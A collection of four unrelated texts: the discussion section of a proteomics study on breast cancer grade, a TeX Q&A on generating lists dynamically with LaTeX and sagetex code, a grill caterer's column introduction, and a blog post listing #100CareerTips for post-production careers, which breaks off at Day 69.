The biological relevance of the identified signature was manifest in comparison with the characteristic cancer hallmarks ([@B42]), and a clear trend was observed in protein expression from grade 1 to grade 3 breast tumors. Grade 1 expressed stromal and ECM-associated protein, indicating a more structurally conserved tumor, whereas grade three tumors appeared to have lost those properties and, in addition, expressed higher levels of proteins involved in cell proliferation and mitosis. This observation coincides well with the concept that histological grade is based on mitotic index, nuclear pleomorphism, and differentiation ([@B2]). Proliferation has also been recognized as one of the key prognostic factors in breast cancer and has been found to be one of the major components of several prognostic gene expression signatures ([@B43], [@B44]). In this study, CDK1, MCM3, and MCM7 were among the markers found to increase in expression from histological grade 1 tumors to grade 3 tumors ([Fig. 2](#F2){ref-type="fig"} and [supplemental Fig. S5](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). CDK1 is a key player in cell cycle regulation ([@B45]), and it was recently demonstrated that the depletion of CDK1 compromises the ability of cells to repair DNA by means of homologous recombination. Consequently, as reduced CDK1 expression impairs BRCA1 function and DNA repair, the inhibition of CDK1 represents a potential strategy for expanding the utility of poly-ADP ribose polymerase inhibitors to BRCA-competent cancers ([@B46]). MCM2 and MCM7 have been shown to play a role in both initiation and elongation phases of eukaryotic DNA replication ([@B47], [@B48]). The overexpression of MCM3 has been identified in primary cancer tissues, including carcinomas of breast, colon, kidney, cervix, and stomach, as well as in a number of cancer cell lines, implying a role for MCM3 in tumorigenesis ([@B48]). Noteworthy, another minichromosome maintenance complex (MCM6) is one of the 70 genes ([@B15]) included in the current MammaPrint® test. In addition to the above mentioned nucleus-associated proteins, stress-induced-phosphoprotein 1 and polyadenylate-binding protein 4, both localized in the cytoplasm, also displayed increased protein expression going from histological grade 1 to grade 3. Stress-induced-phosphoprotein 1 has been shown to be secreted by ovarian cancer cells into their environment and is functional in promoting cell proliferation ([@B49]). The polyadenylate-binding proteins, aside from binding to poly(A) sequences, have critical roles in RNA processing and can be shuttled from the nucleus to the cytoplasm with mRNAs, increase eIF4F assembly to caps, aid in the recruitment of ribosomal subunits to 5′ UTRs, and increase the reuse of translational machinery after polypeptide synthesis ([@B50]). Thus, the polyadenylate-binding proteins are also directly or indirectly involved in cell proliferation and were most highly expressed in grade 3 tumors.
One of the primary metabolic changes associated with proliferating tumor cells is the induction of aerobic glycolysis. Phosphofructokinase has been demonstrated to play a crucial role in glycolytic activities and cell proliferation in breast cancer, and it is another potential target in designing selective breast cancer chemotherapy ([@B51]). Phosphofructokinase displayed a trend of increased expression from grade 1 to grade 3. Two additional proteins with potential importance for tumor cells adopting metabolic changes that displayed significantly increased expression trends were ACLY and ADP/ATP translocase 2 (SLC25A5), both localized in the cytoplasm.
Notably, all the ECM-associated proteins, such as asporin, keratocan, spondin 1, chymase 1, olfactomedin-like protein 3, and stanniocalcin-2, were found to display a trend of decreasing protein expression, with the lowest levels in the grade 3 tumors ([Fig. 2](#F2){ref-type="fig"} and [Fig. 3](#F3){ref-type="fig"}), again indicating disseminating tumor--stromal interactions, as ECM goes through drastic changes and collapses during tumor dissemination. The ECM of breast cancers is considered abnormal and is believed to promote tumor progression ([@B52]), and it regulates gene expression and phenotype through adhesion-mediated signaling ([@B53]). Bergamaschi and colleagues defined several ECM signatures based on gene expression profiling and suggested that primary breast tumors could be classified based upon the ECM composition ([@B54]). Thus, the importance of the ECM and stromal characteristics, and their capability to provide relevant information about breast carcinomas, is now further indicated by the present proteomic data. Asporin has been proven to be associated with the cartilage matrix ([@B55]), and we noted a clear decrease in expression when we compared grades 1 and 3. Notably, one of the top-ranked networks from the IPA analysis included most of the differentially expressed ECM-localized proteins, and TGFβ-1 was reported to be directly or indirectly associated with several of these extracellular proteins ([supplemental Fig. S9*B*](http://www.mcponline.org/cgi/content/full/M113.030379/DC1)). TGFβ-1 regulates tumor growth either through mechanisms that function within the cell itself or through host--tumor cell interactions. It has been shown that factors in the tumor microenvironment, such as the ECM, influence the ability of TGFβ-1 to promote or suppress carcinoma progression and metastasis ([@B56]). Consequently, the systematic inhibition of TGFβ-1 signaling pathways is being considered as an attractive therapeutic intervention strategy when targeting cancer ([@B56]).
Importantly, the protein expression reflecting histological grade was validated, using an independent, large dataset and an orthogonal method (mRNA expression), with the GOBO tool ([@B38]). Groups of up- and down-regulated proteins were evaluated based on their correlation to known gene set modules, as it is often the functional processes captured by a gene signature, and not the individual genes, that are important ([@B44]). The significant correlation to the gene set modules for stroma, cellular checkpoint, and early response are in particular noteworthy ([Fig. 4](#F4){ref-type="fig"}). Furthermore, when we assessed the distant metastasis-free survival length as the end point, using the proteomic-derived signature, data clearly indicated a worse clinical outcome, in particular when we used the down-regulated ECM proteins. Although mRNA data for the GPS-profiled patient tumors were not present or possible to obtain because of the amount of patient tumor material, it should be noted that the mRNA profiling data within GOBO is based on 11 international, large-scale studies, indicating the robustness of the mRNA data trends. Thus, the independent mRNA validations added support for the candidate protein signatures and their potential capability for breast tumor grading. Briefly, proteins are normally more stable than RNA, which is reflected in the standard clinical handling of tumors, ranging from immediate freezing in liquid nitrogen to incubation on ice for 20 to 30 min, potentially showing significant changes in mRNA levels but fewer (small) changes in protein levels ([@B57]). In contrast, in discovery studies, the techniques for mRNA analysis are more mature than multiplexed protein analysis, which in the end might facilitate clinical implementation. However, we believe that the stability of the protein biomarkers is an advantage in a clinical setting where routine protein analysis can be readily implemented using standard ELISA or selected reaction monitoring, increasing the general applicability in nonspecialized hospitals.
In summary, we have defined proteins associated with histological breast cancer grades, including a subclassification of histological grade 2, using a combination of affinity and MS-based proteomics. Several proteins associated with tumor aggressiveness also were identified, and cell proliferation appeared to be one of the main driving mechanisms associated with histological grades 2b and 3 of breast cancer tumors. Furthermore, the identification of several ECM-related proteins displaying reduced expression levels in grades 2b and 3, potentially facilitating remodeling and collapse of the ECM, was equally significant. The reported candidate tissue protein signatures, reflecting histological grade, and the clinical relevance of this will be explored in larger, independent patient cohorts in order to generate pre-validation and validation data, respectively. In this process, the length of the signature will be optimized to yield the best discrimination with the shortest signatures, using a backward elimination approach ([@B41]). It could then be envisioned that a selected reaction monitoring or ELISA-based readout might be the desired way to translate current findings into the clinic. In the longer term, these tissue molecular portraits could pave the way for improved histological grading and prognostication.
Supplementary Material
======================
###### Supplemental Data
\* This project was supported by grants from the Swedish National Research Council (VR-NT), the Foundation for Strategic Research (SSF) (Strategic Centre for Translational Cancer Research - CREATE Health), VINNOVA, the Swedish Cancer Society, and the Swedish Research Council.
^^ This article contains [supplemental material](http://www.mcponline.org/cgi/content/full/M113.030379/DC1).
Conflict of interest statement: C.A.K.B. and C.W. are inventors on a pending patent application for the grading of tumors based on the findings presented in this study.
^1^ The abbreviations used are:
AUCarea under the curveCDK1cyclin-dependent kinase 1CIMScontext independent motif specificECMextracellular matrixERestrogen receptorFDRfalse discovery rateGOBOgene expression-based outcome for breast cancer onlineGPSglobal proteome surveyIPAIngenuity Systems Pathway AnalysisMCMminichromosome maintenance complex componentPRprogesterone receptorROCreceiver operating characteristicSVMsupport vector machineTGFβ1transforming growth factor β.
We gratefully acknowledge Dr. Fredrik Levander, supported by Bioinformatics Infrastructure for Life Sciences (BILS), for assistance with the Proteios software environment, Mats Mågård for assistance with the LTQ-Orbitrap instrument, and Carina Strand for assistance with the tissue samples.
|
Q:
Is there a possibility to generate a list dynamically in Latex?
As stated, I wonder if there is any possibility to dynamically add items to a list and print it anywhere in the document, regardless of where the definitions are made.
I'm thinking something like this:
\documentclass[a4paper,12pt]{article}
\defineList{MyListName}
\begin{document}
\begin{itemize}
\printlist{MyListName}
\end{itemize}
Lorem ipsum dolor sit amet...
\addToList{MyListName}{\item First}
\addToList{MyListName}{\item Second}
\end{document}
and this would then result in something like this (in essence, the \printlist{MyListName} merely acts as a macro and is replaced by the content of the list:
Of course, being able to iterate over the list items would be even more elegant, however it might introduce too much complexity.
A:
You can use the .aux file.
With \defineList we initialize a sequence variable; each \addToList command writes in the .aux file the corresponding entry as argument to \chrillofaddtolist.
When the .aux file is read in at begin document, the sequence is populated with the items gathered in the previous run so it will be available as soon as the document starts.
The command \chrillofaddtolist is made a no-op at end document, when the .aux file is read back in, but we need no action.
Finally, \printList just delivers the sequence.
As a technical workaround, I added a litemize environment, so no error is raised when the sequence is still empty.
\documentclass[a4paper,12pt]{article}
\usepackage{xparse}
\ExplSyntaxOn
\NewDocumentCommand{\defineList}{m}
{
\seq_new:c { g_chrillof_list_#1_seq }
}
\NewDocumentCommand{\addToList}{mm}
{
\iow_shipout:cn { @auxout } { \chrillofaddtolist { #1 } { #2 } }
}
\NewDocumentCommand{\chrillofaddtolist}{mm}
{
\seq_gput_right:cn { g_chrillof_list_#1_seq } { #2 }
}
\NewDocumentCommand{\printList}{m}
{
\seq_use:cn { g_chrillof_list_#1_seq } { }
}
\AtEndDocument{\cs_set_eq:NN \chrillofaddtolist \use_none:nn }
\ExplSyntaxOff
\makeatletter
\newenvironment{litemize}
{\let\@noitemerr\relax\itemize}
{\enditemize}
\makeatother
\defineList{MyListName}
\begin{document}
\begin{litemize}
\printList{MyListName}
\end{litemize}
Lorem ipsum dolor sit amet...
\addToList{MyListName}{\item First}
\addToList{MyListName}{\item Second}
\end{document}
A:
The sagetex package, documentation here, gives you access to the Python programming language. This is one way to keep track of the list and print using a loop.
\documentclass{article}
\usepackage{sagetex}
\begin{document}
\begin{sagesilent}
MyList = ["spring","summer"]
output = r"\begin{itemize}"
for i in range(0,len(MyList)):
output += r"\item %s"%(MyList[i])
output += r"\end{itemize}"
\end{sagesilent}
\sagestr{output}
Lorem ipsum dolor sit amet...
\begin{sagesilent}
MyList.insert(0,"winter")
MyList.append("fall")
output = r"\begin{itemize}"
for i in range(0,len(MyList)):
output += r"\item %s"%(MyList[i])
output += r"\end{itemize}"
\end{sagesilent}
\sagestr{output}
\end{document}
The result is shown below:
The "behind the scenes" work is done in sagesilent environment. The original list is created to contain "spring" and "summer". A for loop creates a string that will put the list into the itemize environment. To insert it into the document, use sagestr, the SAGE string environment. If we want to add "winter" to be first in the list and "fall" to be last, the command MyList.insert(0,"winter") puts "winter" in the first position (which in Python is the zeroth position). The command MyList.append("fall") puts "fall" at the end of the list, however long it is. The for loop prints out over the longer list since len(MyList) is the length of the list.
The extra block of code each time is a bit clunky but it is easy to read and modify. You also get the benefit of being able to insert into any part of the list. The sagetex package relies on the computer algebra system SAGE, which is not part of the LaTeX package. It either needs to be downloaded to your computer or you can open a free Cocalc account and work from the cloud.
A:
Requires two passes. Based on my answer at Extracting the structure of a LaTex document, including comments, but adapting the syntax to meet the OP's needs.
Multiple lists can be simultaneously active. Here, in the MWE, I build "xyz" and "pdq" lists.
\documentclass{article}
\let\svaddtocontents\addtocontents
\makeatletter
\newcommand\defineList[1]{%
\expandafter\def\csname add#1line\endcsname##1##2##3{\addtocontents {##1}{%
\protect \csname #1line\endcsname {##2}{##3}}}
\expandafter\def\csname write#1\endcsname{%
\renewcommand\addtocontents[2]{\relax}%
\setcounter{section}{0}\noindent%
\expandafter\def\csname #1line\endcsname####1####2{\expandafter\csname####1\endcsname{####2}}%
\@starttoc{#1}%
\setcounter{section}{0}%
\let\addtocontents\svaddtocontents%
}%
\csname add#1line\endcsname{#1}{begin}{itemize}%
\AtEndDocument{\csname add#1line\endcsname{#1}{end}{itemize}}
}
\newcommand\addToList[2]{\csname add#1line\endcsname{#1}{item}{#2}}
\newcommand\printList[1]{\csname write#1\endcsname}
\makeatother
\begin{document}
%\tableofcontents% CAN UNCOMMMENT TO SEE THAT toc WORKS FINE
\defineList{xyz}
\defineList{pdq}
\section{Introduction}
\addToList{xyz}{First item on my list.}
Text related to why tracking balls is important, blah, blah, blah.
Blah, blah, blah.
\addToList{pdq}{First pdq item}
Here is my XYZ list:
\printList{xyz}
\section{Next Section}
\addToList{xyz}{Second item on list}
Text relating the challenges, blah, blah, blah.
More blah, blah, blah.
\addToList{pdq}{Next pdq item}
\addToList{xyz}{Third item on list.}
Here is my PDQ list:
\printList{pdq}
Text relating the existing work on tracking balls, blah, blah, blah.
Blah, blah, blah.
\end{document}
|
Grill Corner
I have been involved with cooking and grilling for most of my life. I like to eat; therefore, I learned to cook. When I was a kid, if dinner wasn’t ready, I would grab some hamburger and fire up the grill to cook for the family.
I started my professional career in 1995 and learned the basics of cooking large quantities and serving catering events. In 2004 I felt I had enough experience to start my own business and A Guy and A Grill was born. Eleven years later, we are still going strong. What started out with me, a grill, and a truck has now become a business employing eight to ten awesome full- and part-time people, with seven catering vans and, soon, six grills. We recently added two smokers to the business and have been smoking ribs and much more. We can do multiple caterings on the same day at different locations. We cater all over Iowa and western Illinois.
I would say one of the biggest things is to have no fear when considering grilling and cooking. There are so many resources available, from good cookbooks to a plethora of information on the internet. I haven’t been “trained” as a chef; I just have never backed away from a challenge regarding new recipes or something outside my comfort zone.
Grilling is a passion of mine; hence, my business is centered around that. What could be better than going to a wedding or company picnic to see and smell your meal being cooked right on-site?
There are so many fun things you can prepare at home in your kitchen and on your grill. I think cooking at home is something that is overlooked too often when some great memories with your friends, family, and children can be had with a little effort and planning. Preparing more meals at home can also save you money and be a healthier option, too.
I look forward to our time together with this column and hope you will have some fun as well as pick up some grilling and cooking tips. |
Nothing Ambitious is Easy: What I learned from writing #100CareerTips
I give a lot of advice to people in my professional life. I am part of a broad network of mentors via Blue Collar Post Collective, who keep our social media channels open to anyone seeking advice. In my day-job, I am in a leadership position. It is my duty to arm staff with everything they need to be their best, which includes confidence, direction and someone to help them find their way through difficult situations. My articles for Mixing Light are about how to navigate complex professional situations, from cold-calling to networking online.
In May 2018 a few of my fellow mentors and I were not only sharing a lot with a lot of people, but also experiencing the frustration of people being afraid to approach us, or other people they look up to.
I also noticed that through sheer volume, patterns were emerging. There were a large number of pieces of advice I found myself giving people universally, frequently, and consistently. Without much thought I figured there were probably as many as fifty of these, and that maybe rather than dishing them out to one person at a time, I’d find a way to broadcast them to everyone, anyone- all at once.
That first one, that’s the one I give out the most. I say it to every group of students and interns I meet. I say it to high-school kids, and even emerging professionals who wish to meet their idols.
I figured that if I had that many superb nuggets of consistent and valuable advice right on the tip of my tongue, I might as well be a little bit ambitious about it and set myself a challenge to really think about all of the little bits of advice worth giving and that I could probably, without too much difficulty, get to one hundred.
So the next day, I committed. I made it my hashtag.
By day 3 I had already mixed up my days and lost track. I realized I’d need to plan ahead and be organized if I was going to make it to one hundred without missing a day, repeating myself, or messing up again. So I got to work, with a document. I made a table with 100 rows and started filling each box with all of the great pieces of advice I wish every person could hear.
Within a short time, I realized something profound.
I know about half as much as I think I do
Thinking I could sit down and list the first fifty right away, I got to 20 and realized I was out of my depth. If I hadn’t already made the ambitious public commitment to tweet one hundred career tips, I would have given up immediately and kept it simple.
Publicly committing helped me persevere when I realized I was out of my depth, and find solutions.
Admitting I didn’t have all the wisdom in the world (duh), was humbling, and a good reminder to listen to my own advice. I reached out to my network of mentors, and asked them to contribute some of their greatest career tips. Some were the same as my own, but most came from each person’s individual expertise and experience. There was immense value in that to the collection I hoped to write. Some of them additionally inspired me to remember other things which had helped my own career success, so soon I was halfway to my goal. That’s why for Day 50, I tweeted this:
I also decided to slow down, to tackle the challenge in smaller chunks, a week at a time. It’s much easier to think of five and crowdsource two ideas each week, than try to come up with a hundred in one day. I spread my ideas out across the whole document, to avoid being too top-heavy and losing steam at the end.
Nothing truly ambitious is easy
My original goal was to share one hundred universal, consistent and incredibly valuable pieces of wisdom. I started to find that by about three-quarters of the way through, the diversity of input, and of the interactions that were inspiring new ideas, were making some of the advice I was tweeting either negate a previous one, or have followers tell me they disagree.
This one, for example, I added to the list no less than a half hour after using it to cautiously reassure someone in the context of privilege. It was derided by a follower as not being up to standard.
There are a few great pieces of advice I chose to omit because I knew they were too context-specific or applicable to a subset of people. Even with that awareness, I found that several of the tips I shared didn’t really hit the mark without the story behind them.
A lot of the deepest bits of wisdom can’t be distilled into the brevity of a tweet.
Many require a little more explaining, or context. Generally speaking, we advise people based on our own lived experiences, past mistakes and successes. Without telling the story, to the right person, at the right time, with the right needs– a lot can get lost and come across ambiguous at best, completely misread at worst.
Contradictions are everywhere
As I reached the end of my three-month challenge, I started to reflect on the list and go back through the tweets and responses. Reading through, I saw a lot of contradictions. Day 62 and 97. Day 35 and 38.
At first I struggled with this. I wondered how I could be confident I was giving good advice. If I zoomed out like this and laid out all the advice, and saw so many inconsistencies, contradictions and grey-areas, did I need to reconsider what I was thinking?
I realized that the diversity of advice I give reflects the spectrum of people and situations for which I offer that advice. I was also reminded of my own journey. Even now I seek the wisdom of my mentors, and I take advice from a wide range of people to find the path that’s right for me.
Tweeting #100CareerTips – one each day, every day for 100 days, is an achievement I’m proud to have done.Within the just over 14 weeks, other people were inspired to share their own advice. Many conversations and threads were started. I hope the hashtag lives on.
Below is the full list of #100CareerTips:
Day 1:
People in this industry working behind the scenes are more willing to mentor and share than you might expect. Never be afraid to reach out to someone you admire, just be respectful and do your homework#postproduction#CareerTips#advice#postchat
Be aware of and acknowledge how you are perceived by others in professional spaces. Whether or not someone’s perception of you is correct or fair, it is their reality. #100CareerTips To elaborate: often when I tell someone about how they are perceived, they say “but that’s wrong! They are wrong about me! If only they saw…” the reality is unfortunately irrelevant. Their perception is their reality.That can suck, but knowing, acknowledging and seriously considering that is a huge step toward seeing not how you ARE but how you are SEEN. Then you can make informed and smart changes that alter these perceptionsDon’t change your self, just make changes to help people see you as you see your self. For example: you are passionate and hard working and enthusiastic. You are seen as pushy and annoying and not very driven. Don’t feel unfairly misinterpreted but instead think about why that interpretation was made and how you can take steps to correct it.
Day 6:
There are as many paths to your #CareerGoals as there are people in this industry. There are hundreds of roles in the world of #postproduction that you will never stop discovering. Keep your mind open to uncovering new paths, goals and passions #100CareerTips
Day 7:
My favorite resource has been discontinued but old versions are still incredibly useful. It is an encyclopedia of all things #postproduction and demystifies all the terminology find it here https://goo.gl/nLtuPr and https://goo.gl/NMxpFi #100CareerTips Fun fact: I used to take note of all the tech terms I’d overheard during my workday that I didn’t understand. I kept a copy of the DFB in my bag and would look them all up on the bus ride home. People now wonder how I know so much of this stuff… secret is out!
Day 8:
Resumé rules are different in the #MediaIndustry. Avoid too many formalities. Keep it simple, and relevant to the job you are seeking. Include applicable skills beyond tech, like customer relations, language skills and leadership. #100CareerTips #postproduction
Day 9:
If your resumé feels a bit light, don’t worry! Transferable skills matter in #postproduction. Team work, organization, creativity, problem-solving and other things that make you a valuable candidate can be gained from anywhere. #100CareerTips
Day 10:
Understanding other production roles makes you much better at your job. It’s essential to keep in mind those before and after you in the production chain, their needs and their challenges. #100CareerTips #postproduction
Day 11:
Early in my career I used to stay after work, copy other peoples’ projects and study their day’s work. Anything cool I’d try to re-create. #100CareerTips #postproduction
Day 12:
Get smart! Know your rights and responsibilities, read your contract and check the law. Don’t hesitate to question when something isn’t right in terms of your legal rights and entitlements. #100CareerTips #postproductionthis is especially important for#interns as more than 60% of#postproduction#internships are illegal in the US. It’s hard at the start of your#career to fight for anything but you’d be surprised what you can gain by respectfully asking.Showing you’re savvy and smart and commanding of some respect can get you some.
Day 13:
Don’t be a dick. No, seriously. This industry is too small, and we all have to work together. A reputation for being an ass is the worst possible thing you can carry around and the hardest to shake #100CareerTips #postproductionThis piece of advice is one I give because I know, from experience, how much of a burden a bad reputation can be (thread) 1/2/ When I was just starting out, I was ambitious and talented. I worked really hard to get noticed, and pushed through every barrier I faced.3/ I had grown up with adversity, and am a born fighter. I fought hard for my place in the industry. I saw myself as *just as good* as anyone else, despite my youth and lack of experience.4/ I was like any other teenager, ready to take on the world and disrupt the system. What I didn’t realize was that I was being a pain in the ass. I couldn’t just shut up and do my job. I had the best of intentions, but couldn’t see the harm I was doing.5/ until one day, I moved cities and was shortlisted for a job. The hiring manager told me I was perfect for the role, except for one thing… she’d heard I was “difficult to work with”. The was one of the most influential moments of my life.6/ I was devastated. A bad rep had followed me across the country, and come back to me. I didn’t follow up, I didn’t want the job. I had been pursuing a career in the Camera Dept at that point. I decided to start over, this was 5 years into my career.7/ I took an internship in post production. I started my career over. I had to shake that reputation, undo the damage. I had to learn and un-learn. I had to build new relationships, and do it right. The good news is I found more talent in post than I knew I had.8/ and it was the start of a career that took me to the top tiers of the industry, eventually. But the shock and shame of that day never left me. Relationships are everything. Years later I saw that hiring manager again, and told her how she had changed my life that day.9/ but I try to guide young people with great talent and confidence, with compassion and a gentle hand toward not making the mistakes I did, and being more humble. That reputation followed me for a decade. Don’t be a dick. Bonus#wisdom for today from@ZackArnoldACE “Want to stand out in#Hollywood ? Be kind to everyone. You’ll stick out like a sore thumb…in all the right ways.” Another way to say “don’t be a dick” more politely!#100CareerTips#Mentorship#postchat
Day 14:
If you always focus on your insecurities and shortcomings, so will everyone else. Don’t let them define you. Wise words from @Dr0id #100CareerTipsBonus for today:@ZackArnoldACE backs up Mr@Dr0id on his#wisdom – “Think about the way you perceive yourself and the words you use to describe yourself. Would you allow others to speak that way about you?”#100CareerTips
Day 15:
Interns: Seek out a gap where something needs doing and fill it. Make yourself indispensable to the company by carving out a job for yourself. It doesn’t have to be anything impressive, showing that initiative will make you really stand out. #100CareerTips #postproduction
Day 16:
People just one rung above you on the career ladder can make the best mentors. #100CareerTips
Day 17:
The ABC of career success: Always Be Curious. #100CareerTips
Day 18:
Be vocal about the #career you want and where you want to go. People aren’t mindreaders and you’ll miss opportunities if those around you don’t know your aspirations. Great tip from the wise and wonderful @MaryEditing #100CareerTips
Day 19:
When you’ve f*kd up, tell your supervisor what happened and how it’s being fixed in the same breath. #100CareerTips
Day 20:
People don’t just hire you because you’re “qualified” or because you have “the right skills.” People will hire you because they trust you and they are comfortable around you. Focus on mastering these and you’ll be hirable for life in any field. Today’s wisdom from the guru @ZackArnoldACE #100CareerTips #postproduction
Day 21:
Don’t be sucked in to paying a lot of money for networking, mentorship or career advancement. These things are freely available and generously given by the best people anyway. #100CareerTipsThere are a lot of programs taking advantage in this space- especially targeting#women and underrepresented minorities. The best supporters actually care about *you first. Rewards like money and accolades for doing it are not a priority.Avoid performative supporters. Anyone who genuinely cares about your professional development will generously and freely offer honest, genuine and personal advice. And as I said on day 1: most people are willing to help!
Never say “no” right away, to anything. Be honest, but keeping your options open helps create new networks, raise your confidence, and helps you keep check of the job market and your professional value #100CareerTips
Day 24:
Don’t worry too much about being the best, people value clear communication, responsiveness, and interest almost as much as brilliance. Wise advice from @didyoumeanjanis #100CareerTips
Constantly aiming for absolute perfection in your work can hold you back and slow you down. Sometimes, it’s okay to just be okay. #100CareerTips
Day 27:
NEVER FLAKE. It’s better to cancel, to admit failure, ask for help or bow out gracefully. If you say you’re going to do something, either do it or hand it over. #100CareerTips just ask @J_salvo
Day 28:
If someone you admire offers advice, mentorship, or their contact details inviting you to reach out, they mean it. Take them up on it. I’m always shocked and a little disappointed that only about 20% of people ever do. #100CareerTips
Day 29:
Don’t get in the habit of shooting down a client’s notes too readily, even if their ideas seem lame. The fact that they’re telling you something is wrong is important; maybe you can find a better solution, but the fact that they have a problem in the first place is what’s significant. Essential advice from @hurkman #100CareerTips
Day 30:
Be careful what you say in public spaces. You never know who is around. Avoid bitching about clients or talking details about jobs, because that sh*t backfires more than you know #100CareerTips
Day 31:
Treat every client like a VIP. You never know who they are, who they know, or who they will become one day #100CareerTips
Day 32:
Today’s wisdom from @ZackArnoldACE – Better opportunities in life don’t lead to you having a better attitude. Choosing to have a better attitude will lead to better opportunities. #100CareerTips
Day 33:
There’s no glory in being weak. Stay strong and at your best by prioritizing your health and wellbeing wherever you can. It’s also better to stay home with a bug than take down the entire production. Get over it, don’t be a martyr #100CareerTipsBonus for today from @ZackArnoldACE – Stop wearing your “Sleep deprivation badge of honor” as a point of pride. You’re not just hurting yourself, you’re hurting your ability to be creative. And you’re also hurting all the people you work with by setting a bad example and performing below your best #100CareerTips
Day 34:
If someone needs advice, a connection or a gig, give them a hand. Someone gave you one. Doesn’t matter if they’ve “earned” it. Wise words from the Master @Dr0id #100CareerTips
Day 35:
Seize every opportunity, no matter how small. Every step forward is a step toward your #CareerGoals and professional development #100CareerTips
Day 36:
Giving back by volunteering, mentoring or teaching someone else can bring inspiration and a new spark to your own career. Hit up @ReelWorks @BCPCollective or your local film school for opportunities #100CareerTips
Day 37:
In an interview, ask about the company culture. Ask the interviewer what they like about working there, and why the person you’d be replacing left or how long they held the job. #100CareerTips
Day 38:
Sometimes saying “no” is saying “yes” to something better. Don’t feel like you have to say yes to every opportunity – seek those out that shape the career you dream of. Wise advice from @didyoumeanjanis #100CareerTips
Day 39:
Be open to tasks that are beneath you. What have you got to lose? You still get paid, you gain exposure to different parts of the team, and you might get to dust off some old skills. Most importantly, it shows you’re a team player and a good person #100CareerTips
Day 40:
I buy lunch for an intern at least once a month. It gives me a chance to get to know them better, they get to know me and hopefully learn something, and of course every intern appreciates a good free lunch! It’s a nice easy way to support emerging talent #100CareerTips
Day 41:
“Learn to tell people when you’re not happy with something, but don’t forget to tell people when you ARE happy with something. It’s easy to forget, but both are important.” @hurkman #100CareerTips
Day 42:
If your job has you primarily using a specific tool or software, make an effort to learn the alternative toolsets too. Not only does it make you consider efficiency and workflow, but it keeps you agile and knowledgeable. #100CareerTips
Day 43:
If someone asks for your opinion, give it honestly and respectfully. Don’t just agree to please someone. Be prepared to defend your opinion with confidence. Diverse perspectives and conflict are all part of the creative team process. Wise words from @monisala #100CareerTips
Day 44:
If you commit to a project, give it 110%. It doesn’t matter if the production deserves it. Your reputation does. Wise words from the legend @Dr0id #100CareerTips The audience doesn’t see that the Post Sup was a bully, the Director was high and out of control, or the Producers gambled away the finishing funds in New Orleans. They see my work with my name in the credits. So I always do my best work. No matter what.
Day 45:
Network online. You don’t have to physically be at events and conferences to make a good impression on your peers. Be a positive contributor to industry communities on social media like @BCPCollective @postchat @LiftForums and @CreativeCOW #100CareerTips https://mixinglight.com/color-tutorial/effective-professional-networking-without-leaving-the-house/Bonus from @hurkman “Make time to keep in touch with people you meet in our industry. Time is scarce and the year gets away from you, but reminding people you exist and are still doing whatever it is you do when you don’t need work, is crucial for when you do.” #100CareerTips
Day 46:
Revise your #CareerGoals and take on new challenges regularly #100CareerTips
Day 47:
Don’t be scared to ask questions, for example about how someone did something. It shows you are confident and willing to learn, progress and understand. Fear of looking/sounding stupid only stops you from becoming better. Wise words from @KellyJBLacroix #100CareerTips
Day 48:
Everyone makes mistakes. They key is to recover gracefully, be humble and learn from them. #100CareerTips
Day 49:
There’s no more difficult skill to master when scheduling yourself, in sessions, and when getting notes, than learning to say no. Except for learning when NOT to say no. There’s a fine line between being obstinate and being a pushover for terrible ideas, and it’s never clear. #wisdom from @hurkman #100CareerTips
Day 50:
For most of my #career, I thought I had all the answers. I was half right. Now I know I have half the answers, and the rest comes from surrounding myself with the wisdom of diverse voices and minds. #100CareerTips
Day 51:
People will always try to bring you down, especially if you are ambitious. As Frank Sinatra once said, “The best revenge is massive success”. Take all that negativity and use it as motivation to prove them all wrong #100CareerTips #hatersgonnahate
Day 52:
Discussion with Ella Soryl, @chelseatayedits and @HDnoah about job interviews, all had some form of the same final parting question for employer along the lines of directly asking if they have any concerns or hesitations about hiring. Confidence and eagerness to get feedback shows and they are able to counter any hesitation immediately. #100CareerTips
Day 53:
Don’t be afraid to publish a paper, apply for an opportunity, speak on a panel, or nominate yourself for an award. Celebrate your strengths and share your knowledge. Be brave, get yourself noticed #100CareerTips
Day 54:
If you constantly feel “busy” and overwhelmed, take a look at how you spend your attention each day. Perhaps it’s time to stop prioritizing your time and start prioritizing your focus.Stop trying to find the perfect work-life “balance.” Instead focus on living with work-life “presence.” wisdom from @ZackArnoldACE #100CareerTips
Day 55:
I’m most efficient when I’m left alone to work. So I focus on communicating to clients in a way that makes them relax, trust me, and feel like they can just wander off and let me work my magic of their own accord. As quickly as possible.My natural inclination to be antisocial can be a huge asset to my efficiency! #100CareerTips
Day 56:
@hurkman says “The single best way I’ve found of getting more work in our industry is word of mouth from people you’ve worked with. Every day of your current gig is a job interview for your next one.” Epic wisdom #100CareerTips
Day 57:
Always be on time. #100CareerTips
Day 58:
Success is 40% being good and 60% being someone people want to work with. If you’re a pain, you’d better be damn good. (Don’t be a pain) Wise words from @Dr0id #100CareerTips
Day 59:
Get a hobby. This industry can suck you dry, you have to be able to get away sometimes. No matter how obsessed you are with your job, you’ll be better at it if you take time out to do something completely different #100CareerTips
Day 60:
@matt35mm says: “Go to lunch/coffee/drinks with people! I’d credit at least 50% of my career momentum with this. It’s been at least as important as the actual editing skills that I’ve worked on.” #100CareerTips #postchat
Day 61:
The single most important piece of tech for any future post production professional to learn today? Whatever aspect of gaming tech is relevant to your discipline. Whatever we are making in the near future, it’s likely to be using the computer power of a gaming engine like #Unreal or #Unity #100CareerTips #postchat
Day 62:
@taocolorist saysIf you don’t set specific, written goals for your career – in 10 years you’ll have no idea why you’re doing what you’re doing. So set that goal. Update it often; tweak it, radically alter it. But always have it set. #100CareerTips @mixinglight
Day 63:
“Whether you think you can, or you think you can’t, you’re right” -Henry Ford. #100CareerTips
Day 64:
You might have to climb down a ladder and start at the bottom of another to work on something you love. Be humble and focus on your end goal. Wisdom from the venerable Mr @Dr0id #100CareerTips
Day 65:
Set boundaries and stand by them wherever you can. Your self-worth is something you must protect, don’t let anyone take it from you. There’s pride in saying “no” to something that will rob you of your strength or dignity. #100CareerTips
Day 66:
“If you don’t have a target, you’ll miss it every time.” – Zig Zigler #100CareerTips
Day 67:
@hurkman has a great suggestion “There’s no better cure for hitting the wall in the middle of a task, whether it’s a scene that won’t cut or a grade that won’t match or a composite that won’t work, then taking a walk around the block in the sun. You’ll have an idea for the fix on the way back.” #100CareerTips
Day 68:
Technology changes so fast, and much of the work we do today may be obsolete soon. Get good at the uniquely “human” aspects of your job. The things that are your personal touch. Those things will never become obsolete, and only increase in value. #100CareerTips
Day 69:
